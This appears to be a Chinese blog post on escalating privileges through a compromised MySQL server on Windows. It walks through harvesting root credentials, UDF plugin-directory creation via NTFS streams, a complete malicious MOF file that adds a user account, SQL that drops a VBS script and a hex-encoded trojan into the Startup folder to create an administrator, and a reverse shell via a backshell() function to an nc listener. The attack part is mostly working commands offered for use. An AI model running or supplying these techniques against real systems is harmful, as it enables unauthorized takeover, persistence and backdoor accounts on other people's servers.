Mysql提权

获取最高用户root的密码
获取方式:数据库配置文件、端口破解口令、下载数据库文件获取等
1.数据库配置文件
config,conn,data,sql,include,common,inc等命名文件
2.数据库文件获取
root的账号密码储存在数据库mysql下的user表中,对应的目录地址../data/mysql/user.myd中

udf提权(小于5.1版本及大于5.1版本)
小于5.1版本导出路径:c:/windows
大于5.1版本导出路径:../lib/plugin 不存在需创建
如果plugin不存在的话,需执行命令来创建:
select @@basedir;  
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';  
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录

mof提权
1、找一个可写目录上传mof文件,我这里上传到了 C:/wmpub/nullevt.mof 代码如下
namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
    EventNamespace = "Root\\Cimv2";
    Name  = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
            "Where TargetInstance Isa \"Win32_LocalTime\" "
            "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ybss ybss /add\")";
};
instance of __FilterToConsumerBinding
{
    Consumer   = $Consumer;
    Filter = $EventFilter;
};
;
上面的net.exe user ybss ybss /add,可以随便改的,想执行啥都行,有没有参数也都行,执行自己的马也行
如何执行数据库命令:
select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

VBS启动项提权
create table a (cmd text);
insert into a values ("set wshshell=createobject (""wscript.shell"") " );
insert into a values ("a=wshshell.run (""cmd.exe /c net user iis_user 123!@#abcABC /add"",0) " );
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators iis_user /add"",0) " );
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
先在webshell里连接上数据库,建立表,将VBS写入表里,然后导入启动项,如果UDF提权不行的话也可以尝试下这个方法,前提是要有ROOT权限,后面有个,0表示不弹出CMD窗口,安静的运行。
还可以这样写:  
create table a (cmd BLOB);
insert into a values (CONVERT(木马的16进制代码,CHAR));
select * from a into dumpfile ’C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\启动\\mm.exe’
drop table a;
执行前3条语句,就可以将木马写进启动里了,前提是木马一定要是16进制,还有就是路径要是\\,因为windows会自动过滤掉一个\

反弹端口连接提权
一个mysql的root弱密码,并且可以外连,但是服务器上面的网站又无法Getshell,可以使用反弹端口连接提权
利用mysql客户端工具连接mysql服务器,然后执行:
mysql.exe -h 地址 -uroot -p
然后输入:
\. c:\mysql.txt
select backshell("本地IP",2017);
然后使用nc进行端口反弹:
nc.exe -vv -l -p 2017

上一篇:SpringBoot(十一):springboot2.0.2下配置mybatis generator环境,并自定义字段/getter/settetr注释


下一篇:【BZOJ3551】Peaks加强版(Kruskal重构树,主席树)